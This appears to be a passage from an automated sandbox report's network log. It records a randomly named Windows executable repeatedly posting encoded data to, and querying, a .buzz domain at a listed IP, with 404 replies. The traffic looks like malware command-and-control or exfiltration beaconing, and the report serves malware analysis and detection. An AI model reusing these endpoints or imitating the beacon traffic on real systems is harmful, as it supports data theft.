Sep 23, 2024 14:40:02.265742064 CEST	1236	IN	Data Raw: 6e 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 2f 2f 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 20 20 2f 2f 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 61 64 64 45 76 65 6e Data Ascii: n.preventDefault(); // }); // document.documentElement.addEventListener("touchend", function (n) { // var e = new Date().getTime(); // e - o <= 300 && n.preventDefault(); // o = e;
Sep 23, 2024 14:40:02.265758991 CEST	1236	IN	Data Raw: 31 2f 6a 73 2f 63 6d 73 2d 73 70 6f 72 74 73 2e 34 37 34 31 63 64 37 66 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 73 72 63 3d 22 2f 31 2f 6a 73 2f 69 6e 64 65 78 2e 36 39 39 34 66 Data Ascii: 1/js/cms-sports.4741cd7f.js"></script><script defer="defer" src="/1/js/index.6994fc26.js"></script><link href="/1/css/chunk-vendors.09a194bd.css" rel="stylesheet"><link href="/1/css/cms-sports.d427b88f.css" rel="stylesheet"></head> <body>
Sep 23, 2024 14:40:02.265764952 CEST	104	IN	Data Raw: 20 65 6c 65 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 69 74 65 6d 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 6c 65 29 3b 0a 20 20 20 20 20 20 7d 29 3b Data Ascii: ele.innerHTML = item; } document.body.appendChild(ele); }); } }</script>
Sep 23, 2024 14:40:02.265772104 CEST	6	IN	Data Raw: 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	49753	154.38.114.205	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:40:07.496037960 CEST	761	OUT	POST /xedw/ HTTP/1.1 Host: www.2024tengxun361.buzz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.2024tengxun361.buzz Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 215 Connection: close Referer: http://www.2024tengxun361.buzz/xedw/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 76 57 55 61 59 4f 76 42 4e 46 51 46 30 47 6a 71 6e 48 49 6c 6c 69 77 2f 70 68 6b 51 44 5a 69 6f 32 37 38 75 69 72 35 31 39 43 57 31 49 75 6b 71 6d 44 4e 49 43 6e 56 58 30 6d 30 63 51 48 68 52 35 38 56 32 54 51 4b 66 75 52 51 73 41 6e 38 66 39 35 46 71 74 7a 77 53 66 6e 4a 6a 59 61 39 7a 37 44 4e 77 74 47 4b 66 2b 65 50 38 75 70 44 2b 70 58 48 52 5a 68 6a 6b 64 4e 36 55 62 69 43 4b 4a 74 56 78 47 55 2f 64 73 4d 6f 45 32 56 77 6b 7a 75 31 56 6e 5a 77 44 4d 70 56 72 35 57 53 6b 4f 6e 6f 64 43 47 53 51 7a 2f 30 6d 37 36 75 50 71 62 51 5a 56 33 5a 34 33 64 32 76 39 74 38 6d 76 53 46 7a 30 45 46 48 4c 6e 41 50 37 31 50 43 4f 77 3d 3d Data Ascii: 76=vWUaYOvBNFQF0GjqnHIlliw/phkQDZio278uir519CW1IukqmDNICnVX0m0cQHhR58V2TQKfuRQsAn8f95FqtzwSfnJjYa9z7DNwtGKf+eP8upD+pXHRZhjkdN6UbiCKJtVxGU/dsMoE2Vwkzu1VnZwDMpVr5WSkOnodCGSQz/0m76uPqbQZV3Z43d2v9t8mvSFz0EFHLnAP71PCOw==
Sep 23, 2024 14:40:08.418097019 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Sep 2024 12:40:08 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 37 62 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 58 5b 8f dc b6 15 7e f7 af 60 64 04 b0 5b 6a 6e 7b 97 66 16 6d dd a6 7e e8 25 40 dc 87 00 7d a1 24 6a 44 af 44 ca 24 35 3b e3 41 81 be 14 05 0a 04 41 00 17 6d 91 de f2 50 20 2f ed 3e 15 30 60 a4 fd 33 bb ad f7 5f f4 90 ba 71 76 66 e3 dd 74 ed 5d 49 14 79 ae df f9 0e c5 e9 7b df ff e9 93 67 1f 7f f8 03 94 e9 22 3f 7d 30 6d 2f 94 24 a7 0f 10 fc 4c 0b aa 09 bc d5 a5 4f 5f 54 6c 31 f3 9e 08 ae 29 d7 fe b3 55 49 3d 14 d7 4f 33 4f d3 a5 1e 9a e5 61 9c 11 a9 a8 9e fd ec d9 07 fe b1 d7 88 d1 4c e7 f4 f4 ea d3 cf fe fb ea 2f d7 af fe f0 f6 e2 62 3a ac c7 1c 35 9c 14 74 e6 49 11 09 ad 1c d1 5c 30 9e d0 25 e6 22 15 79 2e ce 3d 34 74 8d ab 57 2d 18 3d 2f 85 d4 ce ba 73 96 e8 6c 96 d0 05 8b a9 6f 1f 30 62 9c 69 46 72 5f c5 24 a7 b3 31 46 95 a2 d2 3e 91 08 06 b8 68 0d ce 19 3f 43 92 e6 33 4f 65 20 36 ae 34 62 e0 ac 87 32 49 d3 99 37 24 0a 7c 54 43 56 cc 87 29 01 0d 82 0f e0 4f 6f 9a d2 2b 70 d8 3a 67 7e be 85 d6 7e 21 5e fa 91 58 fa 8a bd 64 7c 1e 44 42 26 a0 1b 46 [TRUNCATED] Data Ascii: 7b6X[~`d[jn{fm~%@}$jDD$5;AAmP />0`3_qvft]Iy{g"?}0m/$LO_Tl1)UI=O3OaL/b:5tI\0%"y.=4tW-=/slo0biFr_$1F>h?C3Oe 64b2I7$\|TCV)Oo+p:g~~!^Xd\|DB&FBFgLv_tMq$Np,4B1&8>pvK">{QMq))&Q$1II1X$'4I1-0xW,JHQbU<JKXUxA$08Iq<TCAxN'8&fc"5s0G1 yp[%2((0' r5X&U^02g<%o349$gsDDQ&H\|f$pltO_7:as4uhEaq~F<dl-L>IWJ3BHKYK<h}#LiXe]J>#KS+u2n}tr0O:_YrW]`$'h9sIV`B"%Wj@~B+{x{$H{0cAV"c2_oWo>`$W>KLBx PwBauh2M46:a6ecr8Rd-IYByuG>~)pA [TRUNCATED]
Sep 23, 2024 14:40:08.418113947 CEST	962	IN	Data Raw: 61 27 08 da 00 a0 6e 41 dd 78 6d 1b 88 06 4d 88 7c 73 25 50 7f 10 b5 86 e4 25 49 58 a5 82 09 d4 a1 45 5e 4d 22 ad 65 a6 27 64 24 11 e7 c1 08 8d d0 de a8 5c 22 39 8f c8 a3 93 13 5c ff 1f 0d 46 87 8f 3b 7e 3a 80 09 ae c9 b1 c8 85 0c 1e a6 69 ea 16 Data Ascii: a'nAxmM\|s%P%IXE^M"e'd$\"9\F;~:iy_WfA+M:8}O&fQ3bgc3'jGBv`8Z[f(t&vpoH-6)5D!lx9h96{4T6WgoQbKg@j9:XoPJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	49754	154.38.114.205	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:40:10.033812046 CEST	781	OUT	POST /xedw/ HTTP/1.1 Host: www.2024tengxun361.buzz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.2024tengxun361.buzz Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 235 Connection: close Referer: http://www.2024tengxun361.buzz/xedw/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 76 57 55 61 59 4f 76 42 4e 46 51 46 37 48 54 71 6b 6b 77 6c 30 53 77 38 73 68 6b 51 4a 35 6a 76 32 37 67 75 69 76 49 71 38 77 79 31 49 50 55 71 6e 42 70 49 48 6e 56 58 73 32 30 54 65 6e 68 61 35 38 59 42 54 55 4f 66 75 56 34 73 41 69 41 66 39 4b 39 70 72 6a 77 63 55 48 4a 74 56 36 39 7a 37 44 4e 77 74 47 75 31 2b 65 58 38 76 5a 54 2b 71 30 66 57 61 68 6a 6a 61 4e 36 55 66 69 43 47 4a 74 55 55 47 52 6e 7a 73 4f 51 45 32 58 34 6b 7a 63 4e 53 74 5a 77 46 43 4a 56 30 30 30 4c 57 4b 6c 63 59 61 33 33 4a 78 59 77 34 36 4d 7a 74 77 35 63 31 4c 6d 68 44 7a 66 53 5a 71 4c 68 54 74 54 42 72 35 6d 78 6d 55 51 6c 6c 32 6e 75 47 59 41 4b 70 2b 6a 33 63 62 4e 4d 49 35 65 72 42 36 4f 30 6a 61 32 45 3d Data Ascii: 76=vWUaYOvBNFQF7HTqkkwl0Sw8shkQJ5jv27guivIq8wy1IPUqnBpIHnVXs20Tenha58YBTUOfuV4sAiAf9K9prjwcUHJtV69z7DNwtGu1+eX8vZT+q0fWahjjaN6UfiCGJtUUGRnzsOQE2X4kzcNStZwFCJV000LWKlcYa33JxYw46Mztw5c1LmhDzfSZqLhTtTBr5mxmUQll2nuGYAKp+j3cbNMI5erB6O0ja2E=
Sep 23, 2024 14:40:11.121341944 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Sep 2024 12:40:10 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 37 62 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 58 5b 8f dc b6 15 7e f7 af 60 64 04 b0 5b 6a 6e 7b 97 66 16 6d dd a6 7e e8 25 40 dc 87 00 7d a1 24 6a 44 af 44 ca 24 35 3b e3 41 81 be 14 05 0a 04 41 00 17 6d 91 de f2 50 20 2f ed 3e 15 30 60 a4 fd 33 bb ad f7 5f f4 90 ba 71 76 66 e3 dd 74 ed 5d 49 14 79 ae df f9 0e c5 e9 7b df ff e9 93 67 1f 7f f8 03 94 e9 22 3f 7d 30 6d 2f 94 24 a7 0f 10 fc 4c 0b aa 09 bc d5 a5 4f 5f 54 6c 31 f3 9e 08 ae 29 d7 fe b3 55 49 3d 14 d7 4f 33 4f d3 a5 1e 9a e5 61 9c 11 a9 a8 9e fd ec d9 07 fe b1 d7 88 d1 4c e7 f4 f4 ea d3 cf fe fb ea 2f d7 af fe f0 f6 e2 62 3a ac c7 1c 35 9c 14 74 e6 49 11 09 ad 1c d1 5c 30 9e d0 25 e6 22 15 79 2e ce 3d 34 74 8d ab 57 2d 18 3d 2f 85 d4 ce ba 73 96 e8 6c 96 d0 05 8b a9 6f 1f 30 62 9c 69 46 72 5f c5 24 a7 b3 31 46 95 a2 d2 3e 91 08 06 b8 68 0d ce 19 3f 43 92 e6 33 4f 65 20 36 ae 34 62 e0 ac 87 32 49 d3 99 37 24 0a 7c 54 43 56 cc 87 29 01 0d 82 0f e0 4f 6f 9a d2 2b 70 d8 3a 67 7e be 85 d6 7e 21 5e fa 91 58 fa 8a bd 64 7c 1e 44 42 26 a0 1b 46 [TRUNCATED] Data Ascii: 7b6X[~`d[jn{fm~%@}$jDD$5;AAmP />0`3_qvft]Iy{g"?}0m/$LO_Tl1)UI=O3OaL/b:5tI\0%"y.=4tW-=/slo0biFr_$1F>h?C3Oe 64b2I7$\|TCV)Oo+p:g~~!^Xd\|DB&FBFgLv_tMq$Np,4B1&8>pvK">{QMq))&Q$1II1X$'4I1-0xW,JHQbU<JKXUxA$08Iq<TCAxN'8&fc"5s0G1 yp[%2((0' r5X&U^02g<%o349$gsDDQ&H\|f$pltO_7:as4uhEaq~F<dl-L>IWJ3BHKYK<h}#LiXe]J>#KS+u2n}tr0O:_YrW]`$'h9sIV`B"%Wj@~B+{x{$H{0cAV"c2_oWo>`$W>KLBx PwBauh2M46:a6ecr8Rd-IYByuG>~)pA [TRUNCATED]
Sep 23, 2024 14:40:11.121361971 CEST	962	IN	Data Raw: 61 27 08 da 00 a0 6e 41 dd 78 6d 1b 88 06 4d 88 7c 73 25 50 7f 10 b5 86 e4 25 49 58 a5 82 09 d4 a1 45 5e 4d 22 ad 65 a6 27 64 24 11 e7 c1 08 8d d0 de a8 5c 22 39 8f c8 a3 93 13 5c ff 1f 0d 46 87 8f 3b 7e 3a 80 09 ae c9 b1 c8 85 0c 1e a6 69 ea 16 Data Ascii: a'nAxmM\|s%P%IXE^M"e'd$\"9\F;~:iy_WfA+M:8}O&fQ3bgc3'jGBv`8Z[f(t&vpoH-6)5D!lx9h96{4T6WgoQbKg@j9:XoPJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	49755	154.38.114.205	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:40:12.581899881 CEST	1794	OUT	POST /xedw/ HTTP/1.1 Host: www.2024tengxun361.buzz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.2024tengxun361.buzz Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1247 Connection: close Referer: http://www.2024tengxun361.buzz/xedw/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 76 57 55 61 59 4f 76 42 4e 46 51 46 37 48 54 71 6b 6b 77 6c 30 53 77 38 73 68 6b 51 4a 35 6a 76 32 37 67 75 69 76 49 71 38 77 36 31 49 64 77 71 6c 68 56 49 45 6e 56 58 79 6d 30 51 65 6e 68 39 35 38 41 4e 54 52 58 71 75 58 41 73 41 41 34 66 71 72 39 70 69 6a 77 63 62 6e 4a 67 59 61 39 6d 37 48 52 38 74 47 2b 31 2b 65 58 38 76 62 62 2b 38 58 48 57 63 68 6a 6b 64 4e 36 6d 62 69 44 5a 4a 74 64 70 47 52 54 4e 73 2f 77 45 31 33 49 6b 78 50 31 53 68 5a 77 48 46 4a 55 68 30 30 33 4e 4b 6c 41 75 61 33 53 6d 78 66 38 34 37 6f 43 63 76 61 67 77 52 58 46 36 36 76 33 39 6e 59 31 55 67 44 64 52 32 6c 68 70 4b 79 56 54 78 78 44 4f 56 31 53 70 2b 77 7a 66 64 66 4d 77 77 49 32 52 6d 63 67 56 62 69 38 77 68 67 64 4f 6f 2b 43 54 79 43 68 69 69 4e 4d 66 78 32 33 58 31 51 6d 2f 31 63 62 57 34 73 49 31 37 50 58 6f 5a 37 58 32 73 52 47 48 6b 55 64 2f 2b 4c 72 44 39 64 68 42 45 71 32 4a 51 6f 36 46 36 47 55 4a 4b 2f 6b 79 53 36 77 78 78 6c 4f 50 64 34 4b 2b 44 4a 6c 70 64 7a 67 69 59 43 75 4d 6f 69 6e 77 62 58 6e [TRUNCATED] Data Ascii: 76=vWUaYOvBNFQF7HTqkkwl0Sw8shkQJ5jv27guivIq8w61IdwqlhVIEnVXym0Qenh958ANTRXquXAsAA4fqr9pijwcbnJgYa9m7HR8tG+1+eX8vbb+8XHWchjkdN6mbiDZJtdpGRTNs/wE13IkxP1ShZwHFJUh003NKlAua3Smxf847oCcvagwRXF66v39nY1UgDdR2lhpKyVTxxDOV1Sp+wzfdfMwwI2RmcgVbi8whgdOo+CTyChiiNMfx23X1Qm/1cbW4sI17PXoZ7X2sRGHkUd/+LrD9dhBEq2JQo6F6GUJK/kyS6wxxlOPd4K+DJlpdzgiYCuMoinwbXnGWe81Uyl0meG986PV15UhmLpP8qAOgp3ZexwvkMt8yu3hxCrP2kSHuFRyIq2/Pc8aZ55i+dm5fZyHNACq7zOApCSiQ81v/2Y9FhzLCql7fC6uIS6gKY6cS6ivFVetyMdDUxki0MIGCixwOCGbjU4iA7YUrTnxzpbMRaKwU0OaPY8axthXoUA3WULLBOGW3x3Mon+RqueSbPzgvHjceaxHAOJCWjaF2VI2ZEFbnIChaHmFZz6mCzwqXGyrpc1QVfxrsxlVx07/NfC2ATG3F23nj3tZyg9YqXvqZ5xIouqibGd9JL/XO+ACN+qk5fOyV/06D2SVu55hpa6Y8vR1WHhW9kOZ/Ryy2ayTwCmKkWWGVuBVlI/n90RWJ2H5eBXmJAEduBO2vDeBe6QOew5AwhEiM1i2S2Tkd3XDLghwxYGpAJULJnkJAwLbONhR4xf+Zowh8VpwdRzVp+7eAjxDZPD+6ymkzosUsF4bE9eFw0dZ0gqy9Z+taKpo34MIaFVZWffxlWvNtzWB2zugLH2t8jH+bkWUZpHDsn6CwTha0nCy6EFco73v26BPMExZh0bNTFl57LHReElchb42VSG75Tou8N8fEjGcAtxGo+izQtFGvbPf0FzPfR+kSdR7AaOKce1s3ls6CPT6k5NUOPyw4/OjvUyRps5/vHZEh [TRUNCATED]
Sep 23, 2024 14:40:14.269282103 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Sep 2024 12:40:13 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 37 62 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 58 5b 8f dc b6 15 7e f7 af 60 64 04 b0 5b 6a 6e 7b 97 66 16 6d dd a6 7e e8 25 40 dc 87 00 7d a1 24 6a 44 af 44 ca 24 35 3b e3 41 81 be 14 05 0a 04 41 00 17 6d 91 de f2 50 20 2f ed 3e 15 30 60 a4 fd 33 bb ad f7 5f f4 90 ba 71 76 66 e3 dd 74 ed 5d 49 14 79 ae df f9 0e c5 e9 7b df ff e9 93 67 1f 7f f8 03 94 e9 22 3f 7d 30 6d 2f 94 24 a7 0f 10 fc 4c 0b aa 09 bc d5 a5 4f 5f 54 6c 31 f3 9e 08 ae 29 d7 fe b3 55 49 3d 14 d7 4f 33 4f d3 a5 1e 9a e5 61 9c 11 a9 a8 9e fd ec d9 07 fe b1 d7 88 d1 4c e7 f4 f4 ea d3 cf fe fb ea 2f d7 af fe f0 f6 e2 62 3a ac c7 1c 35 9c 14 74 e6 49 11 09 ad 1c d1 5c 30 9e d0 25 e6 22 15 79 2e ce 3d 34 74 8d ab 57 2d 18 3d 2f 85 d4 ce ba 73 96 e8 6c 96 d0 05 8b a9 6f 1f 30 62 9c 69 46 72 5f c5 24 a7 b3 31 46 95 a2 d2 3e 91 08 06 b8 68 0d ce 19 3f 43 92 e6 33 4f 65 20 36 ae 34 62 e0 ac 87 32 49 d3 99 37 24 0a 7c 54 43 56 cc 87 29 01 0d 82 0f e0 4f 6f 9a d2 2b 70 d8 3a 67 7e be 85 d6 7e 21 5e fa 91 58 fa 8a bd 64 7c 1e 44 42 26 a0 1b 46 [TRUNCATED] Data Ascii: 7b6X[~`d[jn{fm~%@}$jDD$5;AAmP />0`3_qvft]Iy{g"?}0m/$LO_Tl1)UI=O3OaL/b:5tI\0%"y.=4tW-=/slo0biFr_$1F>h?C3Oe 64b2I7$\|TCV)Oo+p:g~~!^Xd\|DB&FBFgLv_tMq$Np,4B1&8>pvK">{QMq))&Q$1II1X$'4I1-0xW,JHQbU<JKXUxA$08Iq<TCAxN'8&fc"5s0G1 yp[%2((0' r5X&U^02g<%o349$gsDDQ&H\|f$pltO_7:as4uhEaq~F<dl-L>IWJ3BHKYK<h}#LiXe]J>#KS+u2n}tr0O:_YrW]`$'h9sIV`B"%Wj@~B+{x{$H{0cAV"c2_oWo>`$W>KLBx PwBauh2M46:a6ecr8Rd-IYByuG>~)pA [TRUNCATED]
Sep 23, 2024 14:40:14.269383907 CEST	962	IN	Data Raw: 61 27 08 da 00 a0 6e 41 dd 78 6d 1b 88 06 4d 88 7c 73 25 50 7f 10 b5 86 e4 25 49 58 a5 82 09 d4 a1 45 5e 4d 22 ad 65 a6 27 64 24 11 e7 c1 08 8d d0 de a8 5c 22 39 8f c8 a3 93 13 5c ff 1f 0d 46 87 8f 3b 7e 3a 80 09 ae c9 b1 c8 85 0c 1e a6 69 ea 16 Data Ascii: a'nAxmM\|s%P%IXE^M"e'd$\"9\F;~:iy_WfA+M:8}O&fQ3bgc3'jGBv`8Z[f(t&vpoH-6)5D!lx9h96{4T6WgoQbKg@j9:XoPJ
Sep 23, 2024 14:40:14.269721031 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Sep 2024 12:40:13 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 37 62 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 58 5b 8f dc b6 15 7e f7 af 60 64 04 b0 5b 6a 6e 7b 97 66 16 6d dd a6 7e e8 25 40 dc 87 00 7d a1 24 6a 44 af 44 ca 24 35 3b e3 41 81 be 14 05 0a 04 41 00 17 6d 91 de f2 50 20 2f ed 3e 15 30 60 a4 fd 33 bb ad f7 5f f4 90 ba 71 76 66 e3 dd 74 ed 5d 49 14 79 ae df f9 0e c5 e9 7b df ff e9 93 67 1f 7f f8 03 94 e9 22 3f 7d 30 6d 2f 94 24 a7 0f 10 fc 4c 0b aa 09 bc d5 a5 4f 5f 54 6c 31 f3 9e 08 ae 29 d7 fe b3 55 49 3d 14 d7 4f 33 4f d3 a5 1e 9a e5 61 9c 11 a9 a8 9e fd ec d9 07 fe b1 d7 88 d1 4c e7 f4 f4 ea d3 cf fe fb ea 2f d7 af fe f0 f6 e2 62 3a ac c7 1c 35 9c 14 74 e6 49 11 09 ad 1c d1 5c 30 9e d0 25 e6 22 15 79 2e ce 3d 34 74 8d ab 57 2d 18 3d 2f 85 d4 ce ba 73 96 e8 6c 96 d0 05 8b a9 6f 1f 30 62 9c 69 46 72 5f c5 24 a7 b3 31 46 95 a2 d2 3e 91 08 06 b8 68 0d ce 19 3f 43 92 e6 33 4f 65 20 36 ae 34 62 e0 ac 87 32 49 d3 99 37 24 0a 7c 54 43 56 cc 87 29 01 0d 82 0f e0 4f 6f 9a d2 2b 70 d8 3a 67 7e be 85 d6 7e 21 5e fa 91 58 fa 8a bd 64 7c 1e 44 42 26 a0 1b 46 [TRUNCATED] Data Ascii: 7b6X[~`d[jn{fm~%@}$jDD$5;AAmP />0`3_qvft]Iy{g"?}0m/$LO_Tl1)UI=O3OaL/b:5tI\0%"y.=4tW-=/slo0biFr_$1F>h?C3Oe 64b2I7$\|TCV)Oo+p:g~~!^Xd\|DB&FBFgLv_tMq$Np,4B1&8>pvK">{QMq))&Q$1II1X$'4I1-0xW,JHQbU<JKXUxA$08Iq<TCAxN'8&fc"5s0G1 yp[%2((0' r5X&U^02g<%o349$gsDDQ&H\|f$pltO_7:as4uhEaq~F<dl-L>IWJ3BHKYK<h}#LiXe]J>#KS+u2n}tr0O:_YrW]`$'h9sIV`B"%Wj@~B+{x{$H{0cAV"c2_oWo>`$W>KLBx PwBauh2M46:a6ecr8Rd-IYByuG>~)pA [TRUNCATED]
Sep 23, 2024 14:40:14.269926071 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Sep 2024 12:40:13 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 37 62 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 58 5b 8f dc b6 15 7e f7 af 60 64 04 b0 5b 6a 6e 7b 97 66 16 6d dd a6 7e e8 25 40 dc 87 00 7d a1 24 6a 44 af 44 ca 24 35 3b e3 41 81 be 14 05 0a 04 41 00 17 6d 91 de f2 50 20 2f ed 3e 15 30 60 a4 fd 33 bb ad f7 5f f4 90 ba 71 76 66 e3 dd 74 ed 5d 49 14 79 ae df f9 0e c5 e9 7b df ff e9 93 67 1f 7f f8 03 94 e9 22 3f 7d 30 6d 2f 94 24 a7 0f 10 fc 4c 0b aa 09 bc d5 a5 4f 5f 54 6c 31 f3 9e 08 ae 29 d7 fe b3 55 49 3d 14 d7 4f 33 4f d3 a5 1e 9a e5 61 9c 11 a9 a8 9e fd ec d9 07 fe b1 d7 88 d1 4c e7 f4 f4 ea d3 cf fe fb ea 2f d7 af fe f0 f6 e2 62 3a ac c7 1c 35 9c 14 74 e6 49 11 09 ad 1c d1 5c 30 9e d0 25 e6 22 15 79 2e ce 3d 34 74 8d ab 57 2d 18 3d 2f 85 d4 ce ba 73 96 e8 6c 96 d0 05 8b a9 6f 1f 30 62 9c 69 46 72 5f c5 24 a7 b3 31 46 95 a2 d2 3e 91 08 06 b8 68 0d ce 19 3f 43 92 e6 33 4f 65 20 36 ae 34 62 e0 ac 87 32 49 d3 99 37 24 0a 7c 54 43 56 cc 87 29 01 0d 82 0f e0 4f 6f 9a d2 2b 70 d8 3a 67 7e be 85 d6 7e 21 5e fa 91 58 fa 8a bd 64 7c 1e 44 42 26 a0 1b 46 [TRUNCATED] Data Ascii: 7b6X[~`d[jn{fm~%@}$jDD$5;AAmP />0`3_qvft]Iy{g"?}0m/$LO_Tl1)UI=O3OaL/b:5tI\0%"y.=4tW-=/slo0biFr_$1F>h?C3Oe 64b2I7$\|TCV)Oo+p:g~~!^Xd\|DB&FBFgLv_tMq$Np,4B1&8>pvK">{QMq))&Q$1II1X$'4I1-0xW,JHQbU<JKXUxA$08Iq<TCAxN'8&fc"5s0G1 yp[%2((0' r5X&U^02g<%o349$gsDDQ&H\|f$pltO_7:as4uhEaq~F<dl-L>IWJ3BHKYK<h}#LiXe]J>#KS+u2n}tr0O:_YrW]`$'h9sIV`B"%Wj@~B+{x{$H{0cAV"c2_oWo>`$W>KLBx PwBauh2M46:a6ecr8Rd-IYByuG>~)pA [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	49756	154.38.114.205	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:40:15.398166895 CEST	484	OUT	GET /xedw/?mtJD_=fvdlJ2L&76=iU86b+DQDkc5+HCYi3wksyID7wIiKcPt1qIOrYUg5TrYQuRHlXYNPzVksVl/dHByk+JFXw+Aj1EfBi5c9qhjsEIOS1JRVa1wxHxBhUP989bRn8j6x1DUcRzlbseaRz6IPahZbjf8tblS HTTP/1.1 Host: www.2024tengxun361.buzz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Sep 23, 2024 14:40:16.345779896 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Sep 2024 12:40:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 31 34 31 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e5 8f 91 e7 94 9f e9 94 99 e8 af af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 61 73 73 65 74 73 2f 69 6d 